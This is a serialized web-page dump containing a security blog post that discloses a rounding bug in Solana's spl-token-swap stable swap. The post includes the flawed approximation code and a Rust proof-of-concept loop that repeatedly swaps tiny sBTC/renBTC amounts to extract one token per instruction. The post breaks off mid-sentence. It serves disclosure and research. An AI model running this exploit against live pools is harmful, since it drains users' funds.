var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":98,"depth":98,"links":3638},[3639,3640,3641],{"id":56,"depth":98,"text":59},{"id":2147,"depth":98,"text":2150},{"id":3604,"depth":98,"text":3607},"markdown","content:blog:2022-09-06-move-introduction.md","content","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction","md",[3649,6146,6483,9672,14033,19170,29445,30877,31640,35869,40896,46328,47485,50976,61371,68100,69939,71649,76314,90213,92934,97723,100163,102508,108294,124114,132414,142338,147616,157009,159346],{"_path":3650,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":3651,"description":3652,"image":3653,"date":3657,"isFeatured":16,"tags":3658,"onBlogPage":16,"body":3661,"_type":3642,"_id":6143,"_source":3644,"_file":6144,"_stem":6145,"_extension":3647},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":3654,"width":3655,"height":3656},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[3659,3660],"solana","report",{"type":18,"children":3662,"toc":6137},[3663,3677,3682,3687,3695,3701,3706,3711,3720,3728,3733,3738,3746,3751,3756,4126,4136,4141,4664,4669,4677,4685,4691,4696,4701,4706,4713,4725,4730,4742,4982,4987,4992,4998,5003,5008,5055,5060,5068,5073,5078,5083,5228,5241,5355,5369,5377,5391,5399,5412,5417,5429,5437,5459,6077,6081,6086,6098,6111,6118,6123,6128,6133],{"type":21,"tag":22,"props":3664,"children":3665},{},[3666,3668,3675],{"type":26,"value":3667},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":21,"tag":335,"props":3669,"children":3672},{"href":3670,"rel":3671},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[339],[3673],{"type":26,"value":3674},"spl-token-swap",{"type":26,"value":3676},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":21,"tag":22,"props":3678,"children":3679},{},[3680],{"type":26,"value":3681},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":21,"tag":22,"props":3683,"children":3684},{},[3685],{"type":26,"value":3686},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":21,"tag":22,"props":3688,"children":3689},{},[3690],{"type":21,"tag":39,"props":3691,"children":3692},{},[3693],{"type":26,"value":3694},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":21,"tag":54,"props":3696,"children":3698},{"id":3697},"discovery",[3699],{"type":26,"value":3700},"Discovery",{"type":21,"tag":22,"props":3702,"children":3703},{},[3704],{"type":26,"value":3705},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":21,"tag":22,"props":3707,"children":3708},{},[3709],{"type":26,"value":3710},"After a while, he noticed something weird..",{"type":21,"tag":3712,"props":3713,"children":3714},"blockquote",{},[3715],{"type":21,"tag":22,"props":3716,"children":3717},{},[3718],{"type":26,"value":3719},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":21,"tag":75,"props":3721,"children":3723},{"code":3722},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[3724],{"type":21,"tag":66,"props":3725,"children":3726},{"__ignoreMap":7},[3727],{"type":26,"value":3722},{"type":21,"tag":22,"props":3729,"children":3730},{},[3731],{"type":26,"value":3732},"Somehow, we were getting tokens from nothing?",{"type":21,"tag":22,"props":3734,"children":3735},{},[3736],{"type":26,"value":3737},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":21,"tag":75,"props":3739,"children":3741},{"code":3740},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[3742],{"type":21,"tag":66,"props":3743,"children":3744},{"__ignoreMap":7},[3745],{"type":26,"value":3740},{"type":21,"tag":22,"props":3747,"children":3748},{},[3749],{"type":26,"value":3750},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":21,"tag":22,"props":3752,"children":3753},{},[3754],{"type":26,"value":3755},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":21,"tag":75,"props":3757,"children":3759},{"code":3758,"language":79,"meta":7,"className":77,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n",[3760],{"type":21,"tag":66,"props":3761,"children":3762},{"__ignoreMap":7},[3763,3771,3802,3832,3932,4037,4062,4074,4091,4111,4119],{"type":21,"tag":85,"props":3764,"children":3765},{"class":87,"line":88},[3766],{"type":21,"tag":85,"props":3767,"children":3768},{"style":92},[3769],{"type":26,"value":3770},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":21,"tag":85,"props":3772,"children":3773},{"class":87,"line":98},[3774,3779,3784,3789,3793,3798],{"type":21,"tag":85,"props":3775,"children":3776},{"style":102},[3777],{"type":26,"value":3778},"    let",{"type":21,"tag":85,"props":3780,"children":3781},{"style":102},[3782],{"type":26,"value":3783}," mut",{"type":21,"tag":85,"props":3785,"children":3786},{"style":120},[3787],{"type":26,"value":3788}," y",{"type":21,"tag":85,"props":3790,"children":3791},{"style":169},[3792],{"type":26,"value":1941},{"type":21,"tag":85,"props":3794,"children":3795},{"style":120},[3796],{"type":26,"value":3797}," d_val",{"type":21,"tag":85,"props":3799,"children":3800},{"style":114},[3801],{"type":26,"value":2535},{"type":21,"tag":85,"props":3803,"children":3804},{"class":87,"line":151},[3805,3810,3815,3819,3823,3827],{"type":21,"tag":85,"props":3806,"children":3807},{"style":2885},[3808],{"type":26,"value":3809},"    for",{"type":21,"tag":85,"props":3811,"children":3812},{"style":120},[3813],{"type":26,"value":3814}," _",{"type":21,"tag":85,"props":3816,"children":3817},{"style":102},[3818],{"type":26,"value":2989},{"type":21,"tag":85,"props":3820,"children":3821},{"style":2285},[3822],{"type":26,"value":2830},{"type":21,"tag":85,"props":3824,"children":3825},{"style":169},[3826],{"type":26,"value":2998},{"type":21,"tag":85,"props":3828,"children":3829},{"style":114},[3830],{"type":26,"value":3831},"ITERATIONS {\n",{"type":21,"tag":85,"props":3833,"children":3834},{"class":87,"line":160},[3835,3839,3843,3848,3852,3857,3861,3865,3869,3874,3878,3882,3887,3891,3896,3900,3905,3910,3914,3919,3923,3928],{"type":21,"tag":85,"props":3836,"children":3837},{"style":102},[3838],{"type":26,"value":1931},{"type":21,"tag":85,"props":3840,"children":3841},{"style":114},[3842],{"type":26,"value":717},{"type":21,"tag":85,"props":3844,"children":3845},{"style":120},[3846],{"type":26,"value":3847},"y_new",{"type":21,"tag":85,"props":3849,"children":3850},{"style":114},[3851],{"type":26,"value":256},{"type":21,"tag":85,"props":3853,"children":3854},{"style":120},[3855],{"type":26,"value":3856},"_",{"type":21,"tag":85,"props":3858,"children":3859},{"style":114},[3860],{"type":26,"value":736},{"type":21,"tag":85,"props":3862,"children":3863},{"style":169},[3864],{"type":26,"value":741},{"type":21,"tag":85,"props":3866,"children":3867},{"style":114},[3868],{"type":26,"value":717},{"type":21,"tag":85,"props":3870,"children":3871},{"style":1021},[3872],{"type":26,"value":3873},"checked_u8_power",{"type":21,"tag":85,"props":3875,"children":3876},{"style":114},[3877],{"type":26,"value":1439},{"type":21,"tag":85,"props":3879,"children":3880},{"style":169},[3881],{"type":26,"value":2238},{"type":21,"tag":85,"props":3883,"children":3884},{"style":120},[3885],{"type":26,"value":3886},"y",{"type":21,"tag":85,"props":3888,"children":3889},{"style":114},[3890],{"type":26,"value":256},{"type":21,"tag":85,"props":3892,"children":3893},{"style":2285},[3894],{"type":26,"value":3895},"2",{"type":21,"tag":85,"props":3897,"children":3898},{"style":114},[3899],{"type":26,"value":1900},{"type":21,"tag":85,"props":3901,"children":3902},{"style":169},[3903],{"type":26,"value":3904},"?.",{"type":21,"tag":85,"props":3906,"children":3907},{"style":1021},[3908],{"type":26,"value":3909},"checked_add",{"type":21,"tag":85,"props":3911,"children":3912},{"style":114},[3913],{"type":26,"value":1439},{"type":21,"tag":85,"props":3915,"children":3916},{"style":120},[3917],{"type":26,"value":3918},"c",{"type":21,"tag":85,"props":3920,"children":3921},{"style":114},[3922],{"type":26,"value":1900},{"type":21,"tag":85,"props":3924,"children":3925},{"style":169},[3926],{"type":26,"value":3927},"?",{"type":21,"tag":85,"props":3929,"children":3930},{"style":114},[3931],{"type":26,"value":2485},{"type":21,"tag":85,"props":3933,"children":3934},{"class":87,"line":185},[3935,3940,3945,3949,3954,3958,3962,3966,3970,3974,3978,3982,3986,3990,3995,3999,4003,4008,4012,4017,4021,4025,4029,4033],{"type":21,"tag":85,"props":3936,"children":3937},{"style":169},[3938],{"type":26,"value":3939},"            .",{"type":21,"tag":85,"props":3941,"children":3942},{"style":1021},[3943],{"type":26,"value":3944},"checked_ceil_div",{"type":21,"tag":85,"props":3946,"children":3947},{"style":114},[3948],{"type":26,"value":1439},{"type":21,"tag":85,"props":3950,"children":3951},{"style":1021},[3952],{"type":26,"value":3953},"checked_u8_mul",{"type":21,"tag":85,"props":3955,"children":3956},{"style":114},[3957],{"type":26,"value":1439},{"type":21,"tag":85,"props":3959,"children":3960},{"style":169},[3961],{"type":26,"value":2238},{"type":21,"tag":85,"props":3963,"children":3964},{"style":120},[3965],{"type":26,"value":3886},{"type":21,"tag":85,"props":3967,"children":3968},{"style":114},[3969],{"type":26,"value":256},{"type":21,"tag":85,"props":3971,"children":3972},{"style":2285},[3973],{"type":26,"value":3895},{"type":21,"tag":85,"props":3975,"children":3976},{"style":114},[3977],{"type":26,"value":1900},{"type":21,"tag":85,"props":3979,"children":3980},{"style":169},[3981],{"type":26,"value":3904},{"type":21,"tag":85,"props":3983,"children":3984},{"style":1021},[3985],{"type":26,"value":3909},{"type":21,"tag":85,"props":3987,"children":3988},{"style":114},[3989],{"type":26,"value":1439},{"type":21,"tag":85,"props":3991,"children":3992},{"style":120},[3993],{"type":26,"value":3994},"b",{"type":21,"tag":85,"props":3996,"children":3997},{"style":114},[3998],{"type":26,"value":1900},{"type":21,"tag":85,"props":4000,"children":4001},{"style":169},[4002],{"type":26,"value":3904},{"type":21,"tag":85,"props":4004,"children":4005},{"style":1021},[4006],{"type":26,"value":4007},"checked_sub",{"type":21,"tag":85,"props":4009,"children":4010},{"style":114},[4011],{"type":26,"value":1439},{"type":21,"tag":85,"props":4013,"children":4014},{"style":120},[4015],{"type":26,"value":4016},"d_val",{"type":21,"tag":85,"props":4018,"children":4019},{"style":114},[4020],{"type":26,"value":1900},{"type":21,"tag":85,"props":4022,"children":4023},{"style":169},[4024],{"type":26,"value":3927},{"type":21,"tag":85,"props":4026,"children":4027},{"style":114},[4028],{"type":26,"value":1900},{"type":21,"tag":85,"props":4030,"children":4031},{"style":169},[4032],{"type":26,"value":3927},{"type":21,"tag":85,"props":4034,"children":4035},{"style":114},[4036],{"type":26,"value":2535},{"type":21,"tag":85,"props":4038,"children":4039},{"class":87,"line":501},[4040,4045,4050,4054,4058],{"type":21,"tag":85,"props":4041,"children":4042},{"style":2885},[4043],{"type":26,"value":4044},"        if",{"type":21,"tag":85,"props":4046,"children":4047},{"style":120},[4048],{"type":26,"value":4049}," y_new",{"type":21,"tag":85,"props":4051,"children":4052},{"style":169},[4053],{"type":26,"value":2282},{"type":21,"tag":85,"props":4055,"children":4056},{"style":120},[4057],{"type":26,"value":3788},{"type":21,"tag":85,"props":4059,"children":4060},{"style":114},[4061],{"type":26,"value":148},{"type":21,"tag":85,"props":4063,"children":4064},{"class":87,"line":697},[4065,4070],{"type":21,"tag":85,"props":4066,"children":4067},{"style":2885},[4068],{"type":26,"value":4069},"            break",{"type":21,"tag":85,"props":4071,"children":4072},{"style":114},[4073],{"type":26,"value":2535},{"type":21,"tag":85,"props":4075,"children":4076},{"class":87,"line":706},[4077,4082,4087],{"type":21,"tag":85,"props":4078,"children":4079},{"style":114},[4080],{"type":26,"value":4081},"        } ",{"type":21,"tag":85,"props":4083,"children":4084},{"style":2885},[4085],{"type":26,"value":4086},"else",{"type":21,"tag":85,"props":4088,"children":4089},{"style":114},[4090],{"type":26,"value":148},{"type":21,"tag":85,"props":4092,"children":4093},{"class":87,"line":1100},[4094,4099,4103,4107],{"type":21,"tag":85,"props":4095,"children":4096},{"style":120},[4097],{"type":26,"value":4098},"            y",{"type":21,"tag":85,"props":4100,"children":4101},{"style":169},[4102],{"type":26,"value":1941},{"type":21,"tag":85,"props":4104,"children":4105},{"style":120},[4106],{"type":26,"value":4049},{"type":21,"tag":85,"props":4108,"children":4109},{"style":114},[4110],{"type":26,"value":2535},{"type":21,"tag":85,"props":4112,"children":4113},{"class":87,"line":1339},[4114],{"type":21,"tag":85,"props":4115,"children":4116},{"style":114},[4117],{"type":26,"value":4118},"        }\n",{"type":21,"tag":85,"props":4120,"children":4121},{"class":87,"line":1348},[4122],{"type":21,"tag":85,"props":4123,"children":4124},{"style":114},[4125],{"type":26,"value":507},{"type":21,"tag":22,"props":4127,"children":4128},{},[4129,4134],{"type":21,"tag":39,"props":4130,"children":4131},{},[4132],{"type":26,"value":4133},"approximate",{"type":26,"value":4135},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":21,"tag":22,"props":4137,"children":4138},{},[4139],{"type":26,"value":4140},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":21,"tag":75,"props":4142,"children":4144},{"code":4143,"language":79,"meta":7,"className":77,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[4145],{"type":21,"tag":66,"props":4146,"children":4147},{"__ignoreMap":7},[4148,4156,4195,4203,4232,4259,4275,4291,4316,4332,4348,4364,4380,4396,4408,4416,4438,4445,4453,4518,4525,4554,4561,4591,4598,4657],{"type":21,"tag":85,"props":4149,"children":4150},{"class":87,"line":88},[4151],{"type":21,"tag":85,"props":4152,"children":4153},{"style":92},[4154],{"type":26,"value":4155},"// from sbtc to renbtc\n",{"type":21,"tag":85,"props":4157,"children":4158},{"class":87,"line":98},[4159,4164,4168,4172,4176,4181,4186,4191],{"type":21,"tag":85,"props":4160,"children":4161},{"style":2885},[4162],{"type":26,"value":4163},"for",{"type":21,"tag":85,"props":4165,"children":4166},{"style":120},[4167],{"type":26,"value":2821},{"type":21,"tag":85,"props":4169,"children":4170},{"style":102},[4171],{"type":26,"value":2989},{"type":21,"tag":85,"props":4173,"children":4174},{"style":2285},[4175],{"type":26,"value":2830},{"type":21,"tag":85,"props":4177,"children":4178},{"style":169},[4179],{"type":26,"value":4180}," ..",{"type":21,"tag":85,"props":4182,"children":4183},{"style":2285},[4184],{"type":26,"value":4185}," 50",{"type":21,"tag":85,"props":4187,"children":4188},{"style":108},[4189],{"type":26,"value":4190},"u8",{"type":21,"tag":85,"props":4192,"children":4193},{"style":114},[4194],{"type":26,"value":148},{"type":21,"tag":85,"props":4196,"children":4197},{"class":87,"line":151},[4198],{"type":21,"tag":85,"props":4199,"children":4200},{"style":92},[4201],{"type":26,"value":4202},"    // create swap transaction\n",{"type":21,"tag":85,"props":4204,"children":4205},{"class":87,"line":160},[4206,4210,4214,4219,4223,4228],{"type":21,"tag":85,"props":4207,"children":4208},{"style":102},[4209],{"type":26,"value":3778},{"type":21,"tag":85,"props":4211,"children":4212},{"style":102},[4213],{"type":26,"value":3783},{"type":21,"tag":85,"props":4215,"children":4216},{"style":120},[4217],{"type":26,"value":4218}," swap_instruction",{"type":21,"tag":85,"props":4220,"children":4221},{"style":169},[4222],{"type":26,"value":1941},{"type":21,"tag":85,"props":4224,"children":4225},{"style":1021},[4226],{"type":26,"value":4227}," swap",{"type":21,"tag":85,"props":4229,"children":4230},{"style":114},[4231],{"type":26,"value":1029},{"type":21,"tag":85,"props":4233,"children":4234},{"class":87,"line":185},[4235,4240,4245,4249,4254],{"type":21,"tag":85,"props":4236,"children":4237},{"style":169},[4238],{"type":26,"value":4239},"        &",{"type":21,"tag":85,"props":4241,"children":4242},{"style":114},[4243],{"type":26,"value":4244},"spl_token",{"type":21,"tag":85,"props":4246,"children":4247},{"style":169},[4248],{"type":26,"value":1087},{"type":21,"tag":85,"props":4250,"children":4251},{"style":1021},[4252],{"type":26,"value":4253},"id",{"type":21,"tag":85,"props":4255,"children":4256},{"style":114},[4257],{"type":26,"value":4258},"(),\n",{"type":21,"tag":85,"props":4260,"children":4261},{"class":87,"line":501},[4262,4266,4271],{"type":21,"tag":85,"props":4263,"children":4264},{"style":169},[4265],{"type":26,"value":4239},{"type":21,"tag":85,"props":4267,"children":4268},{"style":120},[4269],{"type":26,"value":4270},"swap_pubkey",{"type":21,"tag":85,"props":4272,"children":4273},{"style":114},[4274],{"type":26,"value":182},{"type":21,"tag":85,"props":4276,"children":4277},{"class":87,"line":697},[4278,4282,4287],{"type":21,"tag":85,"props":4279,"children":4280},{"style":169},[4281],{"type":26,"value":4239},{"type":21,"tag":85,"props":4283,"children":4284},{"style":120},[4285],{"type":26,"value":4286},"swap_authority_pubkey",{"type":21,"tag":85,"props":4288,"children":4289},{"style":114},[4290],{"type":26,"value":182},{"type":21,"tag":85,"props":4292,"children":4293},{"class":87,"line":706},[4294,4298,4303,4307,4312],{"type":21,"tag":85,"props":4295,"children":4296},{"style":169},[4297],{"type":26,"value":4239},{"type":21,"tag":85,"props":4299,"children":4300},{"style":120},[4301],{"type":26,"value":4302},"test_account_signer",{"type":21,"tag":85,"props":4304,"children":4305},{"style":169},[4306],{"type":26,"value":73},{"type":21,"tag":85,"props":4308,"children":4309},{"style":1021},[4310],{"type":26,"value":4311},"pubkey",{"type":21,"tag":85,"props":4313,"children":4314},{"style":114},[4315],{"type":26,"value":4258},{"type":21,"tag":85,"props":4317,"children":4318},{"class":87,"line":1100},[4319,4323,4328],{"type":21,"tag":85,"props":4320,"children":4321},{"style":169},[4322],{"type":26,"value":4239},{"type":21,"tag":85,"props":4324,"children":4325},{"style":120},[4326],{"type":26,"value":4327},"sbtc_user_account",{"type":21,"tag":85,"props":4329,"children":4330},{"style":114},[4331],{"type":26,"value":182},{"type":21,"tag":85,"props":4333,"children":4334},{"class":87,"line":1339},[4335,4339,4344],{"type":21,"tag":85,"props":4336,"children":4337},{"style":169},[4338],{"type":26,"value":4239},{"type":21,"tag":85,"props":4340,"children":4341},{"style":120},[4342],{"type":26,"value":4343},"sbtc_reserve",{"type":21,"tag":85,"props":4345,"children":4346},{"style":114},[4347],{"type":26,"value":182},{"type":21,"tag":85,"props":4349,"children":4350},{"class":87,"line":1348},[4351,4355,4360],{"type":21,"tag":85,"props":4352,"children":4353},{"style":169},[4354],{"type":26,"value":4239},{"type":21,"tag":85,"props":4356,"children":4357},{"style":120},[4358],{"type":26,"value":4359},"renbtc_reserve",{"type":21,"tag":85,"props":4361,"children":4362},{"style":114},[4363],{"type":26,"value":182},{"type":21,"tag":85,"props":4365,"children":4366},{"class":87,"line":1386},[4367,4371,4376],{"type":21,"tag":85,"props":4368,"children":4369},{"style":169},[4370],{"type":26,"value":4239},{"type":21,"tag":85,"props":4372,"children":4373},{"style":120},[4374],{"type":26,"value":4375},"renbtc_user_account",{"type":21,"tag":85,"props":4377,"children":4378},{"style":114},[4379],{"type":26,"value":182},{"type":21,"tag":85,"props":4381,"children":4382},{"class":87,"line":1394},[4383,4387,4392],{"type":21,"tag":85,"props":4384,"children":4385},{"style":169},[4386],{"type":26,"value":4239},{"type":21,"tag":85,"props":4388,"children":4389},{"style":120},[4390],{"type":26,"value":4391},"admin_fee_account_sbtc_to_ren",{"type":21,"tag":85,"props":4393,"children":4394},{"style":114},[4395],{"type":26,"value":182},{"type":21,"tag":85,"props":4397,"children":4398},{"class":87,"line":1402},[4399,4404],{"type":21,"tag":85,"props":4400,"children":4401},{"style":2285},[4402],{"type":26,"value":4403},"        1",{"type":21,"tag":85,"props":4405,"children":4406},{"style":114},[4407],{"type":26,"value":182},{"type":21,"tag":85,"props":4409,"children":4410},{"class":87,"line":3145},[4411],{"type":21,"tag":85,"props":4412,"children":4413},{"style":2285},[4414],{"type":26,"value":4415},"        2\n",{"type":21,"tag":85,"props":4417,"children":4418},{"class":87,"line":3246},[4419,4424,4428,4433],{"type":21,"tag":85,"props":4420,"children":4421},{"style":114},[4422],{"type":26,"value":4423},"    )",{"type":21,"tag":85,"props":4425,"children":4426},{"style":169},[4427],{"type":26,"value":73},{"type":21,"tag":85,"props":4429,"children":4430},{"style":1021},[4431],{"type":26,"value":4432},"unwrap",{"type":21,"tag":85,"props":4434,"children":4435},{"style":114},[4436],{"type":26,"value":4437},"();\n",{"type":21,"tag":85,"props":4439,"children":4440},{"class":87,"line":3255},[4441],{"type":21,"tag":85,"props":4442,"children":4443},{"emptyLinePlaceholder":16},[4444],{"type":26,"value":703},{"type":21,"tag":85,"props":4446,"children":4447},{"class":87,"line":3286},[4448],{"type":21,"tag":85,"props":4449,"children":4450},{"style":92},[4451],{"type":26,"value":4452},"    // nonce\n",{"type":21,"tag":85,"props":4454,"children":4455},{"class":87,"line":3295},[4456,4461,4465,4470,4474,4479,4483,4487,4491,4496,4500,4504,4508,4513],{"type":21,"tag":85,"props":4457,"children":4458},{"style":120},[4459],{"type":26,"value":4460},"    swap_instruction",{"type":21,"tag":85,"props":4462,"children":4463},{"style":169},[4464],{"type":26,"value":73},{"type":21,"tag":85,"props":4466,"children":4467},{"style":114},[4468],{"type":26,"value":4469},"data",{"type":21,"tag":85,"props":4471,"children":4472},{"style":169},[4473],{"type":26,"value":73},{"type":21,"tag":85,"props":4475,"children":4476},{"style":1021},[4477],{"type":26,"value":4478},"append",{"type":21,"tag":85,"props":4480,"children":4481},{"style":114},[4482],{"type":26,"value":1439},{"type":21,"tag":85,"props":4484,"children":4485},{"style":169},[4486],{"type":26,"value":2238},{"type":21,"tag":85,"props":4488,"children":4489},{"style":102},[4490],{"type":26,"value":2039},{"type":21,"tag":85,"props":4492,"children":4493},{"style":1021},[4494],{"type":26,"value":4495}," vec!",{"type":21,"tag":85,"props":4497,"children":4498},{"style":114},[4499],{"type":26,"value":3016},{"type":21,"tag":85,"props":4501,"children":4502},{"style":120},[4503],{"type":26,"value":3003},{"type":21,"tag":85,"props":4505,"children":4506},{"style":114},[4507],{"type":26,"value":256},{"type":21,"tag":85,"props":4509,"children":4510},{"style":120},[4511],{"type":26,"value":4512},"extranonce",{"type":21,"tag":85,"props":4514,"children":4515},{"style":114},[4516],{"type":26,"value":4517},"]);\n",{"type":21,"tag":85,"props":4519,"children":4520},{"class":87,"line":3308},[4521],{"type":21,"tag":85,"props":4522,"children":4523},{"emptyLinePlaceholder":16},[4524],{"type":26,"value":703},{"type":21,"tag":85,"props":4526,"children":4527},{"class":87,"line":3333},[4528,4532,4536,4541,4545,4549],{"type":21,"tag":85,"props":4529,"children":4530},{"style":102},[4531],{"type":26,"value":3778},{"type":21,"tag":85,"props":4533,"children":4534},{"style":102},[4535],{"type":26,"value":3783},{"type":21,"tag":85,"props":4537,"children":4538},{"style":120},[4539],{"type":26,"value":4540}," instructions",{"type":21,"tag":85,"props":4542,"children":4543},{"style":169},[4544],{"type":26,"value":1941},{"type":21,"tag":85,"props":4546,"children":4547},{"style":1021},[4548],{"type":26,"value":4495},{"type":21,"tag":85,"props":4550,"children":4551},{"style":114},[4552],{"type":26,"value":4553},"[];\n",{"type":21,"tag":85,"props":4555,"children":4556},{"class":87,"line":3369},[4557],{"type":21,"tag":85,"props":4558,"children":4559},{"emptyLinePlaceholder":16},[4560],{"type":26,"value":703},{"type":21,"tag":85,"props":4562,"children":4563},{"class":87,"line":3377},[4564,4569,4573,4578,4582,4587],{"type":21,"tag":85,"props":4565,"children":4566},{"style":120},[4567],{"type":26,"value":4568},"    instructions",{"type":21,"tag":85,"props":4570,"children":4571},{"style":169},[4572],{"type":26,"value":73},{"type":21,"tag":85,"props":4574,"children":4575},{"style":1021},[4576],{"type":26,"value":4577},"push",{"type":21,"tag":85,"props":4579,"children":4580},{"style":114},[4581],{"type":26,"value":1439},{"type":21,"tag":85,"props":4583,"children":4584},{"style":120},[4585],{"type":26,"value":4586},"swap_instruction",{"type":21,"tag":85,"props":4588,"children":4589},{"style":114},[4590],{"type":26,"value":777},{"type":21,"tag":85,"props":4592,"children":4593},{"class":87,"line":3386},[4594],{"type":21,"tag":85,"props":4595,"children":4596},{"emptyLinePlaceholder":16},[4597],{"type":26,"value":703},{"type":21,"tag":85,"props":4599,"children":4600},{"class":87,"line":3394},[4601,4606,4610,4615,4619,4623,4628,4632,4636,4641,4645,4649,4653],{"type":21,"tag":85,"props":4602,"children":4603},{"style":120},[4604],{"type":26,"value":4605},"    env",{"type":21,"tag":85,"props":4607,"children":4608},{"style":169},[4609],{"type":26,"value":73},{"type":21,"tag":85,"props":4611,"children":4612},{"style":1021},[4613],{"type":26,"value":4614},"execute_as_transaction",{"type":21,"tag":85,"props":4616,"children":4617},{"style":114},[4618],{"type":26,"value":1439},{"type":21,"tag":85,"props":4620,"children":4621},{"style":169},[4622],{"type":26,"value":2238},{"type":21,"tag":85,"props":4624,"children":4625},{"style":120},[4626],{"type":26,"value":4627},"instructions",{"type":21,"tag":85,"props":4629,"children":4630},{"style":114},[4631],{"type":26,"value":256},{"type":21,"tag":85,"props":4633,"children":4634},{"style":169},[4635],{"type":26,"value":2238},{"type":21,"tag":85,"props":4637,"children":4638},{"style":1021},[4639],{"type":26,"value":4640},"vec!",{"type":21,"tag":85,"props":4642,"children":4643},{"style":114},[4644],{"type":26,"value":3016},{"type":21,"tag":85,"props":4646,"children":4647},{"style":169},[4648],{"type":26,"value":2238},{"type":21,"tag":85,"props":4650,"children":4651},{"style":120},[4652],{"type":26,"value":4302},{"type":21,"tag":85,"props":4654,"children":4655},{"style":114},[4656],{"type":26,"value":4517},{"type":21,"tag":85,"props":4658,"children":4659},{"class":87,"line":3410},[4660],{"type":21,"tag":85,"props":4661,"children":4662},{"style":114},[4663],{"type":26,"value":2671},{"type":21,"tag":22,"props":4665,"children":4666},{},[4667],{"type":26,"value":4668},"It works!",{"type":21,"tag":3712,"props":4670,"children":4671},{},[4672],{"type":21,"tag":22,"props":4673,"children":4674},{},[4675],{"type":26,"value":4676},"holy shit\nyea, this is big",{"type":21,"tag":22,"props":4678,"children":4679},{},[4680],{"type":21,"tag":4681,"props":4682,"children":4684},"img",{"alt":7,"src":4683},"/posts/spl-swap/poc.png",[],{"type":21,"tag":54,"props":4686,"children":4688},{"id":4687},"exploitability",[4689],{"type":26,"value":4690},"Exploitability",{"type":21,"tag":22,"props":4692,"children":4693},{},[4694],{"type":26,"value":4695},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":21,"tag":22,"props":4697,"children":4698},{},[4699],{"type":26,"value":4700},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":21,"tag":22,"props":4702,"children":4703},{},[4704],{"type":26,"value":4705},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":21,"tag":22,"props":4707,"children":4708},{},[4709],{"type":21,"tag":4681,"props":4710,"children":4712},{"alt":7,"src":4711},"/posts/spl-swap/pr.png",[],{"type":21,"tag":22,"props":4714,"children":4715},{},[4716,4718,4723],{"type":26,"value":4717},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":21,"tag":39,"props":4719,"children":4720},{},[4721],{"type":26,"value":4722},"per instruction",{"type":26,"value":4724},". Transactions on Solana can also contain multiple instructions.",{"type":21,"tag":22,"props":4726,"children":4727},{},[4728],{"type":26,"value":4729},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":21,"tag":22,"props":4731,"children":4732},{},[4733,4735,4740],{"type":26,"value":4734},"Some quick napkin math confirms that this 